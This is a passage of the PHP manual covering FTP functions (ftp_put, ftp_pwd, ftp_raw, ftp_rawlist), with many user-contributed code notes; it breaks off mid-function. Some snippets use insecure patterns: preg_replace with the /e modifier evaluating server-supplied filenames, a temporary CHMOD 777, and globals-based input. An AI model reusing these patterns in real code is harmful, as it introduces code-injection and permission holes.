$ftp_user_name = " SERVER USERNAME"; // Username
$ftp_user_pass = " SERVER PASSWORD"; // Password
$destination_file = " SERVER FILE PATH TO UPLOAD VIA FTP_PUT"; //where you want to throw the file on the webserver (relative to your login dir)

$conn_id = ftp_connect($ftp_server) or die("<span style='color:#FF0000'><h2>Couldn't connect to $ftp_server</h2></span>");        // set up basic connection

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<span style='color:#FF0000'><h2>You do not have access to this ftp server!</h2></span>");   // login with username and password, or give invalid user message

if ((!$conn_id) || (!$login_result)) {  // check connection
    // wont ever hit this, b/c of the die call on ftp_login
    echo "<span style='color:#FF0000'><h2>FTP connection has failed! <br />";
    echo "Attempted to connect to $ftp_server for user $ftp_user_name</h2></span>";
    exit;
} else {
    //echo "Connected to $ftp_server, for user $ftp_user_name <br />";
}

$upload = ftp_put($conn_id, $destination_file.$name, $filename, FTP_BINARY);  // upload the file
if (!$upload) {  // check upload status
    echo "<span style='color:#FF0000'><h2>FTP upload of $filename has failed!</h2></span> <br />";
} else {
    echo "<span style='color:#339900'><h2>Uploading $name Completed Successfully!</h2></span><br /><br />";
}
ftp_close($conn_id); // close the FTP stream
?>
dherran at gmail dot com 17-Dec-2007 09:01
If you are moving files from one folder to another inside the same server, the "local file" field has to be indicated in a relative path according to the location of the script running the ftp_put() function.

For example, your function is running on: /public_html/do_ftp.php and you want to move /public_html/products.php to /public_html/backup/products.php

The correct way to build the function would be:

ftp_put($ftp_id, '/public_html/backup/products.php', 'products.php', FTP_ASCII);

After having headaches for 2 days trying to make this function work using absolute paths in both fields, I finally found the right way to use it. I hope it helps someone. Excuse my english, it isn't my native language.
Ari 17-Jul-2007 08:30
I'm copying fairly large backup files from server to server. ftp_put was running fine for awhile until it occasionally began reporting errors.
When I set TRUE as the value for the ftp_pasv () (after login), ftp_put started working again.
todd 12-May-2007 08:26
This is an extremely trivial thing but one that had me stumped forever (well, until I decided to check the error logs and see the error). I had a large file (mysql backup of a huge forum) that was only partially being uploaded to a remote backup server. Couldn't figure out why, until I realized that the max execution time was being hit since it was taking longer than 30 seconds to upload this file.

<?php
set_time_limit(0);
rest of the code here....
?>

That did the trick. It's one of those dumb, trivial things, and if you're having trouble like I, it may be something you overlooked.
koen dot depoorter at gmail dot com 12-Feb-2007 01:24
If you are having timeouts uploading a file, even very small files, you might have a look at ftp_pasv()

And don't forget to do it after your ftp_login();

koen
tom pittlik 20-Dec-2005 11:25
ftp_put() can display confusing warning messages as it returns one line of the remote server's response which may be multi lined.

If you're transferring large amounts of files note that some file systems only support up to 2000 files per directory. This had me stumped for a while.
ben at over dot bomb 25-Aug-2005 02:28
I spent some time debugging a silly problem:

In php >= 5, ftp_put() will apparently rewind to the start of the file regardless of the state you left it in before sending it to the $host.

I found this out because I wasn't closing the file handle before using ftp_put(). Since I had just written to the file, the file pointer must have been located at the *bottom*.

I was sending a 0-byte file on php 4.2.2., but worked fine on php 5.

So, just a heads up, don't forget to close those filehandles. Even though I was using the filename as the argument for ftp_put, it still needs to be closed.

I did not call rewind on the file handle, just fclose($file_h).
Icy_Tiger_2000 at yahoo dot com dot au 16-Jul-2005 10:35
I had a little trouble getting the ftp_put to work, because of that particular server.  All variables and data parsed from the previous web form had to be retreived using $_POST, $_GET or $_FILES.

If you don't know what you sent use phpinfo(); to display what the server thinks about your data.

so...when sending files using a form and PHP, make sure that all the data (text files etc...) are retreived with $_POST, and files (smiley.png, compression.zip, etc...) are retreived with $_FILES.

here's what your start of a results.php file might look like:
<?PHP
   $myName = $_POST['name']; //This will copy the text into a variable
   $myFile = $_FILES['file_name']; // This will make an array out of the file information that was stored.
?>

Now when it comes to transmitting that information...

<?PHP
        $destination_path = "src/bin/";

//where you want to throw the file on the webserver (relative to your login dir)

    $destination_file = $destination_path."img.jpg";

//This will create a full path with the file on the end for you to  use, I like splitting the variables like this in case I need to use on on their own or if I'm dynamically creating new folders.

        $file = $myFile['tmp_name'];

//Converts the array into a new string containing the path name on the server where your file is.

    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);// upload the file
    if (!$upload) {// check upload status
        echo "FTP upload of $destination_file has failed!";
    } else {
        echo "Uploaded $file to $conn_id as $destination_file";
    }
?>

hope this is usefull ^_^
webmaster at sweetphp dot com 09-Jul-2005 02:54
Here is a fix for the function from lucas at rufy dot com below that will recursively put files from a source directory to a destination directory.  As written below, it won't put a file in a directory that already exists, because the the destination is altered.  So here is the corrected function that will allow it to work:

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
   $d = dir($src_dir);
   while($file = $d->read()) { // do this for each file in the directory
       if ($file != "." && $file != "..") { // to prevent an infinite loop
           if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
               if (!@ftp_nlist($conn_id, $dst_dir."/".$file)) {
                   ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
               }
               ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
           } else {
               $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
           }
       }
   }
   $d->close();
}
jrisken at mn dot rr dot com 29-Jun-2005 03:32
This solution to a common problem is implied elsewhere, but I thought it might be useful to put it all in one place (since I spent hours piecing it together!)

Sometimes a web host will open PHP sessions with a user of 'nobody'. Files created by this user may not have the correct permissions to allow  management of those files by the actual owner of the site.  The following script allows the actual owner to open access to a directory so that 'nobody' can create a file using fopen(). Then using the handle created by 'nobody', the ftp_fput() command saves the file with the correct owner.  The file 'nobody' created is discarded.
<?
    $connection = ftp_connect($ftpServer);
    ftp_login($connection, $ftpUser, $ftpPass);
    ftp_chdir($connection, $ftpDir);
    // open the directory so that 'nobody' can create a temporary file
    ftp_site($cn, "CHMOD 777 $ftpDir");
    $new="tempFile";
    @unlink($new); // just in case
    $handle=fopen($new,"x");
    chmod($new,0777);
    fputs($handle,"a bunch of stuff...");
    fclose($handle); // have to rewind
    $handle=fopen("tempFile","r");
    ftp_fput($connection, "finalFile", $handle, FTP_ASCII);
    fclose($handle);
    unlink($new);
    // remove open access to the directory
    ftp_site($connection, "CHMOD 755 $ftpDir")
    ftp_close($connection);
?>
herok at atwatcher dot com 17-Jun-2004 07:59
victor at nobel dot com dot br wrote that
the correct dirpath format excluded "/home/USER/" from the public path, but for my server, i had to use it in order to get my scripts to work.

it may be obvious to most but I'm positing that you cannot use the $_SERVER['DOCUMENT_ROOT'] path since FTP starts at your top-level and therefore bypasses (or just plain doesn't recognize) most of the virtual server pathing.
Saeven 24-Sep-2003 06:43
if you examine the first user submitted function, ftp_putAll, it will work only if you extract this line and its matching bracket.

if (!@ftp_chdir($conn_id, $dst_dir."/".$file))

The function will have changed into that directory before having uploaded files to it.  This alters your upload path and the system will try to upload into an essentially non-existent directory (duped at the end).

Hope this helps some of you.
Cheers.
Saeven
lucas at rufy dot com 04-Aug-2003 10:45
The following is a fully tested function (based on a previous note) that recursively puts files from a source directory to a destination directory. See http://rufy.com/tech/archives/000026.html for more information.

NOTE: use full path name for the destination directory and the destination directory must already exist

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
    $d = dir($src_dir);
    while($file = $d->read()) { // do this for each file in the directory
        if ($file != "." && $file != "..") { // to prevent an infinite loop
            if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {
                    ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
                }
                ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
            } else {
                $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
            }
        }
    }
    $d->close();
}
darian lassan at yahoo de 05-Feb-2003 01:06
ftp_put() overwrites existing files.
Again: trivial but not mentioned here.
oheil at ecc-gmbh dot de 25-Sep-2002 02:43
If you want to copy a whole directory tree (with subdiretories),
this function (ftp_copy) might be usefull. Tested with
php 4.2.2 and a Linux OS.

Example:
----------------------------------------------------------------
$conn_id = ftp_connect("server_adress");
...

$src_dir = "/from";
$dst_dir = "/to";

ftp_copy($src_dir, $dst_dir);
...
ftp_close($conn_id)

Function: ftp_copy()
----------------------------------------------------------------
function ftp_copy($src_dir, $dst_dir) {

global $conn_id;

$d = dir($src_dir);

    while($file = $d->read()) {

        if ($file != "." && $file != "..") {

            if (is_dir($src_dir."/".$file)) {

                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {

                ftp_mkdir($conn_id, $dst_dir."/".$file);
                }

            ftp_copy($src_dir."/".$file, $dst_dir."/".$file);
            }
            else {

            $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY);
            }
        }
    }

$d->close();
}
kiwo1 at yahoo dot com 28-Aug-2002 07:05
Friends,
If you wanna upload files from your harddisk by a form to a specified ftp this sample can help you...
First of all create the form:
<html>

<body marginwidth=4 marginheight=4 topmargin=4 leftmargin=4 bgcolor=white vlink="#0000ff" link="#0000ff">

<form name="Attachments"  method=POST action="sendimage.php" enctype="multipart/form-data">

<input type=hidden name=box value="">

<tr>
<td nowrap width="1%">&nbsp;&nbsp;<b>Image:</b></td>
<td colspan=2>
<input type=file name=source_file size=20> <br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

</td>
</tr>
<input type=submit name=btnSubmit value=Submit size=20 style="border: 1px solid #0000FF"></form>
</body>
</html>

The critical point in this form is the usage of  enctype="multipart/form-data"
If you don't use this part your upload operations won't work.
Then u must create sendimage.php as follows:

<?php

    $ftp_server='190.148.20.201';//serverip
    $conn_id = ftp_connect($ftp_server);

    // login with username and password
    $user="username";
    $passwd="*****";
    $login_result = ftp_login($conn_id, $user, $passwd);

// check connection
   if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        die;
    } else {
        echo "<br>Connected to $ftp_server, for user $user<br>";
    }
//directorylike /www.velibaba.com/images
  ftp_chdir($conn_id, "www.velibab.com");
  ftp_chdir($conn_id, "compimages");

//$destination_file=ftp_pwd($conn_id);

$destination_file="x.jpg";
echo ("<br>");
print $destination_file;

echo ("<br>");

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
        echo "FTP upload has failed!";
    } else {
        echo "Uploaded $source_file to $ftp_server as $destination_file";
    }

// close the FTP stream
ftp_close($conn_id);
?>

In this example code $source_file is the path of the file in your disk, and destination file is the name of the uploaded file in ftpserver.
In this code I use ftp_chdir to give the path of the
 uploaded file within ftpserver..
For your questions about all categories of PHP my email:kiwo1@yahoo.com
c u...
clambert at whitecrown dot net 30-Jun-2001 04:24
When using versions of PHP below 4.04b4, the ftp_put command doesn't work on NT/IIS4. Most of the other functions will work, but there was a bug while trying to send upstream data to an IIS webserver.


Returns the current directory name

  • « ftp_put
  • ftp_quit »
  • PHP Manual
  • FTP Functions
  • Returns the current directory name

ftp_pwd

(PHP 4, PHP 5)

ftp_pwd — Returns the current directory name

Description

string ftp_pwd ( resource $ftp_stream )

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns the current directory name or FALSE on error.

Examples

Example #1 ftp_pwd() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// change directory to public_html
ftp_chdir($conn_id, 'public_html');

// print current directory
echo ftp_pwd($conn_id); // /public_html

// close the connection
ftp_close($conn_id);
?>

See Also

  • ftp_chdir() - Changes the current directory on a FTP server
  • ftp_cdup() - Changes to the parent directory

User Contributed Notes

mike dot hall at opencube dot co dot uk 31-May-2001 06:15
This function doesn't always go to the remote server for the PWD. Once called the PWD is cached, and until PHP has a reason to believe the directory has changed any call to ftp_pwd() will return from the cache, even if the remote server has gone away.


Alias of ftp_close

  • « ftp_pwd
  • ftp_raw »
  • PHP Manual
  • FTP Functions
  • Alias of ftp_close

ftp_quit

(PHP 4, PHP 5)

ftp_quit — Alias of ftp_close()

Description

This function is an alias of: ftp_close().

User Contributed Notes

There are no user contributed notes for this page.


Sends an arbitrary command to an FTP server

  • « ftp_quit
  • ftp_rawlist »
  • PHP Manual
  • FTP Functions
  • Sends an arbitrary command to an FTP server

ftp_raw

(PHP 5)

ftp_raw — Sends an arbitrary command to an FTP server

Description

array ftp_raw ( resource $ftp_stream , string $command )

Sends an arbitrary command to the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

command

The command to execute.

Return Values

Returns the server's response as an array of strings. No parsing is performed on the response string, nor does ftp_raw() determine if the command succeeded.

Examples

Example #1 Using ftp_raw() to login to an FTP server manually.

<?php
$fp = ftp_connect("ftp.example.com");

/* This is the same as:
   ftp_login($fp, "joeblow", "secret"); */
ftp_raw($fp, "USER joeblow");
ftp_raw($fp, "PASS secret");
?>

See Also

  • ftp_exec() - Requests execution of a command on the FTP server

User Contributed Notes

WebSee.ru 11-Aug-2009 08:38
How to realize the possibility of transferring data from one FTP-server to another via FXP?

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
www.bossftp.com 06-Nov-2008 03:32
Note that the $command can not contains any illegal character such as \n, \r, \t, or this function will return NULL.

Try using the trim() before calling ftp_raw().

<?php
ftp_raw($connid, trim($command));
?>
nightwalker85 at gmail dot com 20-Apr-2005 01:32
<?
ftp_raw($ftpconn,"CLNT <client>");
?>

Is a good way to let the ftp-server know which client it's dealing with. Guess this can be useful if you're making a homemade ftp-client. Only do this if the ftp-server has responded to FEAT command with a response including CLNT.


Returns a detailed list of files in the given directory

  • « ftp_raw
  • ftp_rename »
  • PHP Manual
  • FTP Functions
  • Returns a detailed list of files in the given directory

ftp_rawlist

(PHP 4, PHP 5)

ftp_rawlist — Returns a detailed list of files in the given directory

Description

mixed ftp_rawlist ( resource $ftp_stream , string $directory [, bool $recursive = false ] )

ftp_rawlist() executes the FTP LIST command, and returns the result as an array.

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The directory path. May include arguments for the LIST command.

recursive

If set to TRUE, the issued command will be LIST -R.

Return Values

Returns an array where each element corresponds to one line of text. Returns FALSE when passed directory is invalid.

The output is not parsed in any way. The system type identifier returned by ftp_systype() can be used to determine how the results should be interpreted.

Examples

Example #1 ftp_rawlist() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// get the file list for /
$buff = ftp_rawlist($conn_id, '/');

// close the connection
ftp_close($conn_id);

// output the buffer
var_dump($buff);
?>

The above example will output something similar to:

array(3) {
  [0]=>
  string(65) "drwxr-x---   3 vincent  vincent      4096 Jul 12 12:16 public_ftp"
  [1]=>
  string(66) "drwxr-x---  15 vincent  vincent      4096 Nov  3 21:31 public_html"
  [2]=>
  string(73) "lrwxrwxrwx   1 vincent  vincent        11 Jul 12 12:16 www -> public_html"
}

See Also

  • ftp_nlist() - Returns a list of files in the given directory

User Contributed Notes

admin at proxy-list dot org 30-Apr-2014 02:34
Please pay attention that ftp_rawlist() function returns empty result if there is a folder with space. You must backslash it with addcslashes() function.

IMPORTANT: at the same time any other function like ftp_delete() or ftp_rmdir() in opposite, will not be able to delete file/folder if folder name with space will be backslashes http://proxy-list.org/
nickman at freemail dot hu 25-Apr-2014 04:17
The solution of fredvanetten at tinqle dot com is nice but needs further evaluation as because of the preg_split and static listing of the variables will produce different values: comparing a file of today or an older, from a previous year:

Array
(
    [time] => 2012
    [day] => 11
    [month] => Sep
    [size] => 37262
    [group] => group
    [user] => owner
    [number] => 1
    [rights] => -rw-rw-rw-
)

Array
(
    [time] => 14:01
    [day] => 23
    [month] => Apr
    [size] => 37262
    [group] => group
    [user] => owner
    [number] => 1
    [rights] => -rw-rw-rw-
)
mediaboat at gmail dot com 14-Mar-2014 07:55
All  parse_rawlist Functions here have one Problem.

when a file starts with a space character like " robots.txt ", it will be ignored.

Rename, delete will fail...
fredvanetten at tinqle dot com 11-Dec-2012 04:12
Here's a simple function that'll parse the data returned by ftp_rawlist() into an associative array. I wrote it because some of the functions listed below are way to long, complex or won't work with file names that contain spaces.

<?php
    function listDetailed($resource, $directory = '.') {
        if (is_array($children = @ftp_rawlist($resource, $directory))) {
            $items = array();

            foreach ($children as $child) {
                $chunks = preg_split("/\s+/", $child);
                list($item['rights'], $item['number'], $item['user'], $item['group'], $item['size'], $item['month'], $item['day'], $item['time']) = $chunks;
                $item['type'] = $chunks[0]{0} === 'd' ? 'directory' : 'file';
                array_splice($chunks, 0, 8);
                $items[implode(" ", $chunks)] = $item;
            }

            return $items;
        }

        // Throw exception or return false < up to you
    }
?>
not4rent at gmail dot com 07-Nov-2012 08:23
The following function receives a $rawList generated by ftp_rawlist and returns a parsed array (all in single function).

<?php
    private function parseRawList($rawList)
    {
      //if you want the dots (. & ..) set this variable to 0
      $start = 2;
      //specify the order of the contents here
      //currently set to first directories "d"
      //second links "l"
      //and last the files "-"
      //change it to your convenience but don't touch the value names!
      $orderList = array("d", "l", "-");
      //the name and the order of the columns
      //change it to your convenience
      //but don't increase/reduce the number of columns
      $typeCol = "type";
      $cols = array("permissions", "number", "owner", "group", "size", "month", "day", "time", "name");

        foreach($rawList as $key=>$value)
        {
            $parser = null;
            if($key >= $start) $parser = explode(" ", preg_replace('!\s+!', ' ', $value));
            if(isset($parser))
            {
                foreach($parser as $key=>$item)
                {
                    $parser[$cols[$key]] = $item;
                    unset($parser[$key]);
                }
                $parsedList[] = $parser;
            }
        }
        foreach($orderList as $order)
        {
            foreach($parsedList as $key=>$parsedItem) {
                $type = substr(current($parsedItem), 0, 1);
                if($type == $order) {
                    $parsedItem[$typeCol] = $type;
                    unset($parsedList[$key]);
                    $parsedList[] = $parsedItem;
                }
            }
        }
        return array_values($parsedList);
    }
?>

Enjoy!!
azakolyukin at gmail dot com 11-Mar-2012 04:48
To avoid complicated parsing and sorting fetched data it's possible to use additional options. For example to sort files by date and display only name of files the following code can be used:

ftp_rawlist($ftpConnection, '-1t');
Johnny Doe 24-Nov-2010 03:18
In case anybody wants to get a detailed listing using the MLSD command over a passive connection, the following function might be helpful as a starting point for your own implementation:

<?php
function ftp_mlsd($ftp, $directory) {
    $ok = @ftp_chdir($ftp, $directory);
    if (!$ok) {
        return false;
    }
    $ret = ftp_raw($ftp, 'PASV');
    if (preg_match(
        '/^227.*\(([0-9]+,[0-9]+,[0-9]+,[0-9]+),([0-9]+),([0-9]+)\)$/',
        $ret[0], $matches)) {
        $controlIP = str_replace(',', '.', $matches[1]);
        $controlPort = intval($matches[2])*256+intval($matches[3]);
        $socket = fsockopen($controlIP, $controlPort);
        ftp_raw($ftp, 'MLSD');
        $s = '';
        while (!feof($socket)) {
            $s .= fread($socket, 4096);
        }
        fclose($socket);
        $files = array();
        foreach (explode("\n", $s) as $line) {
            if (!$line) {
                continue;
            }
            $file = array();
            foreach (explode(';', $line) as $property) {
                list($key, $value) = explode('=', $property);
                if ($value) {
                    $file[$key] = $value;
                } else {
                    $filename = trim($key);
                }
            }
            $files[$filename] = $file;
        }
        return $files;
    }
    return false;
}
?>

Please note that this function ignores the setting of ftp_pasv(). Making the function to work universally for both active and passive connections is left as an exercise to the reader ;-)
shaun at shaunfreeman dot co dot uk 13-May-2010 01:02
Get a listing of all files including hidden files except '.' or '..' use:

<?php
ftp_chdir($connid, $dir);
ftp_rawlist($connid, "-A");
?>

This had me dancing in circles for some time!
John 03-May-2010 01:46
There are a couple of php-related reasons given here for ftp_rawlist returning an empty result. However be aware that ZoneAlarm (and possibly other) firewalls can block responses without giving any visible clue so be sure to check that first.
nospam at advancedonsite dot com 03-Nov-2009 05:02
ftp_rawlist kept returning empty file listing, it would work on some machines but not others, it turned out to be ftp_pasv command was needed.
Very frustrating
ahmadmarafa at gmail dot com 24-Jun-2009 04:38
this is function to check for dirs

<?php
function ftp_isdir($connect_id,$dir)
{
    if(ftp_chdir($connect_id,$dir))
    {
        ftp_cdup($connect_id);
        return true;

    }
    else
    {
        return false;
    }
}
?>
tmp at gmx dot de 26-May-2009 01:20
To format the _recrusive_ result of this function I use this:

<?php
$conn_id = ftp_connect(FTP_SERVER);

$login_result = ftp_login($conn_id, FTP_USR, FTP_PASS);

$rawfiles = ftp_rawlist($conn_id, '/', true);

ftp_close($conn_id);

// here the magic begins!
$structure = array();
$arraypointer = &$structure;
foreach ($rawfiles as $rawfile) {
    if ($rawfile[0] == '/') {
        $paths = array_slice(explode('/', str_replace(':', '', $rawfile)), 1);
        $arraypointer = &$structure;
        foreach ($paths as $path) {
            foreach ($arraypointer as $i => $file) {
                if ($file['text'] == $path) {
                    $arraypointer = &$arraypointer[ $i ]['children'];
                    break;
                }
            }
        }
    } elseif(!empty($rawfile)) {
        $info = preg_split("/[\s]+/", $rawfile, 9);
        $arraypointer[] = array(
            'text'   => $info[8],
            'isDir'  => $info[0]{0} == 'd',
            'size'   => byteconvert($info[4]),
            'chmod'  => chmodnum($info[0]),
            'date'   => strtotime($info[6] . ' ' . $info[5] . ' ' . $info[7]),
            'raw'    => $info
            // the 'children' attribut is automatically added if the folder contains at least one file
        );
    }
}

// in $structure is all the data
print_r($structure);

// little helper functions
function byteconvert($bytes) {
    $symbol = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $exp = floor( log($bytes) / log(1024) );
    return sprintf( '%.2f ' . $symbol[ $exp ], ($bytes / pow(1024, floor($exp))) );
}

function chmodnum($chmod) {
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $chmod = substr(strtr($chmod, $trans), 1);
    $array = str_split($chmod, 3);
    return array_sum(str_split($array[0])) . array_sum(str_split($array[1])) . array_sum(str_split($array[2]));
}

?>
francois frao_o 12-Mar-2009 07:47
Why not using POSIX regex to do the job here ? A preg_replace returns the information in an associative array with the following keys:

<rights>
<number>
<owner>
<group>
<file_size>
<mod_time>
<file>
<type> * that's a bonus: it will tell you if the item is either a file or a directory

Code is shown below:

$list=@ftp_rawlist($con,$directory) ;

$items=array() ;

foreach($list as $_)
preg_replace(

'`^(.{10}+)(\s*)(\d{1})(\s*)(\d*|\w*)'.
'(\s*)(\d*|\w*)(\s*)(\d*)\s'.
'([a-zA-Z]{3}+)(\s*)([0-9]{1,2}+)'.
'(\s*)([0-9]{2}+):([0-9]{2}+)(\s*)(.*)$`Ue',

'$items[]=array(
"rights"=>"$1",
"number"=>"$3",
"owner"=>"$5", "group"=>"$7",
"file_size"=>"$9",
"mod_time"=>"$10 $12 $14:$15",
"file"=>"$17",
"type"=>print_r((preg_match("/^d/","$1"))?"dir":"file",1));',

$_) ; # :p
www.bosssftp.com 07-Nov-2008 11:43
Some FTP servers only allow you to get list of files under current working directory. So if you always get result as empty array (array(0){ }), try changing the cwd befor get the list:

<?php
function ftprawlist($connid, $dir) {
  ftp_chdir($connid, $dir);
  return ftp_rawlist($connid, "-a");
}
?>
phpnet uschlaepfer ch 03-Nov-2008 05:56
On my PC (XP and Apache installed) - ftp_rawlist (with Parameter true) does only print a folder list - no subfolders, no files.
So i created this recursive function that writes all filenames (incl. paths) to a array. I tested it on Mac, Linux and Windows - it works (as long as you don't use folders with spaces...).
If you need more information: feel free to set more split[x]-Options and write them to the $files-array.

<?php
# the directory where ftp_rawlist starts
$startdir = "example";

# optional Datatypefilter (leave blank if not needed)
$suffix   = "gif,png,jpeg,pdf,php";
# ftp-login
$ftp_server = "";
$ftp_user   = "";
$ftp_pw     = "";
$ftp_mode   = "";
$conn_id    = ftp_connect($ftp_server);
ftp_login($conn_id, $ftp_user, $ftp_pw) OR die("<br>ftp-login failed");
ftp_pasv($conn_id, true);

#*********************************************************************
# create filelist (recursiv)
#*********************************************************************
$files    = array(); # must be defined here
$files    = raw_list("$startdir");

#*********************************************************************
# print result
#*********************************************************************
$i = 0; $count = count($files);
while ($i < $count):
  echo "$files[$i]<br>";
  $i++;
endwhile;
ftp_close($conn_id);

#*********************************************************************
# rawlist in recursive form (without parameter true!!!)
#*********************************************************************
function raw_list($folder)
{
Global $conn_id;
Global $suffix;
Global $files;
$suffixes = explode(",", $suffix);
$list     = ftp_rawlist($conn_id, $folder);
$anzlist  = count($list);
$i = 0;
while ($i < $anzlist):
  $split    = preg_split("/[\s]+/", $list[$i], 9, PREG_SPLIT_NO_EMPTY);
  $ItemName = $split[8];
  $endung   = strtolower(substr(strrchr($ItemName,"."),1));
  $path     = "$folder/$ItemName";
  if (substr($list[$i],0,1) === "d" AND substr($ItemName,0,1) != "."):
#      array_push($files, $path); # write directory in array if desired
     raw_list($path);
  elseif (substr($ItemName,0,2) != "._" AND in_array($endung,$suffixes)):
     array_push($files, $path);
  endif;
  $i++;
endwhile;
return $files;
}
?>

Ueli, Zurich
paul maybe at squirrel mail org 24-Apr-2008 02:13
Regarding converting permissions from symbolic notation to octal, note that Hazem dot Khaled at gmail dot com's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
weltvolk 04-Jan-2008 03:17
With this handy function based on functions presented here you get the file list in alphabetical order with all directories on top:

<?php
function rawlist_dump() {
  global $ftp_connect;
  $ftp_rawlist = ftp_rawlist($ftp_connect, ".");
  foreach ($ftp_rawlist as $v) {
    $info = array();
    $vinfo = preg_split("/[\s]+/", $v, 9);
    if ($vinfo[0] !== "total") {
      $info['chmod'] = $vinfo[0];
      $info['num'] = $vinfo[1];
      $info['owner'] = $vinfo[2];
      $info['group'] = $vinfo[3];
      $info['size'] = $vinfo[4];
      $info['month'] = $vinfo[5];
      $info['day'] = $vinfo[6];
      $info['time'] = $vinfo[7];
      $info['name'] = $vinfo[8];
      $rawlist[$info['name']] = $info;
    }
  }
  $dir = array();
  $file = array();
  foreach ($rawlist as $k => $v) {
    if ($v['chmod']{0} == "d") {
      $dir[$k] = $v;
    } elseif ($v['chmod']{0} == "-") {
      $file[$k] = $v;
    }
  }
  foreach ($dir as $dirname => $dirinfo) {
      echo "[ $dirname ] " . $dirinfo['chmod'] . " | " . $dirinfo['owner'] . " | " . $dirinfo['group'] . " | " . $dirinfo['month'] . " " . $dirinfo['day'] . " " . $dirinfo['time'] . "<br>";
  }
  foreach ($file as $filename => $fileinfo) {
      echo "$filename " . $fileinfo['chmod'] . " | " . $fileinfo['owner'] . " | " . $fileinfo['group'] . " | " . $fileinfo['size'] . " Byte | " . $fileinfo['month'] . " " . $fileinfo['day'] . " " . $fileinfo['time'] . "<br>";
  }
}
rawlist_dump();
?>
Hazem dot Khaled at gmail dot com 22-Nov-2006 10:25
that comment have 4 function
the 1st function "<b>get_files</b>" get the list of files by the full bath "/www/ex/"
and return 3 arrays
dir = the directories in this directory with the time ,date ,more ...
linke = the links in this directory with the time ,date ,more ...
file = the files in this directory with the time ,date ,more ...

the 2nd function "chmodnum" convert from "drwxrwxrwx" to "777"
* i found it in php.net manual

the 3rd function "get_size" convert from the byte to MB or GB or TB

the 4th function "get_type" return if this file or directory or link

the functions
<?php
    function get_files($path = '')
     {
         if ($path == '' && !$_GET['path'])
          {
             $path = '/';
          }
         elseif ($path == '')
          {
             $path = $_GET['path'];
          }

        //$all_folders = ftp_nlist($this->conection, $_GET['path']);
        $array = ftp_rawlist($this->conection, $path);
        if (is_array($array))
        foreach ($array as $folder)
         {
            $struc = array();
            $current = preg_split("/[\s]+/",$folder,9);

            $struc['perms']    = $current[0];
            $struc['permsn']= chmodnum($current[0]);
            $struc['number']= $current[1];
            $struc['owner']    = $current[2];
            $struc['group']    = $current[3];
            $struc['size']    = get_size($current[4]);
            $struc['month']    = $current[5];
            $struc['day']    = $current[6];
            $struc['time']    = $current[7];
            $struc['name']    = str_replace('//','',$current[8]);
            //$struc['raw']    = $folder;

            if ($struc['name'] != '.' && $struc['name'] != '..' && get_type($struc['perms']) == "folder")
             {
                $folders[] = $struc;
             }
            elseif ($struc['name'] != '.' && $struc['name'] != '..' && get_type($struc['perms']) == "link")
             {
                $links[] = $struc;
             }
            elseif ($struc['name'] != '.' && $struc['name'] != '..')
             {
                $files[] = $struc;
             }
         }
        return array($folders,$links,$files);
     }

    function chmodnum($mode) {
       $realmode = "";
       $legal =  array("","w","r","x","-");
       $attarray = preg_split("//",$mode);
       for($i=0;$i<count($attarray);$i++){
           if($key = array_search($attarray[$i],$legal)){
               $realmode .= $legal[$key];
           }
       }
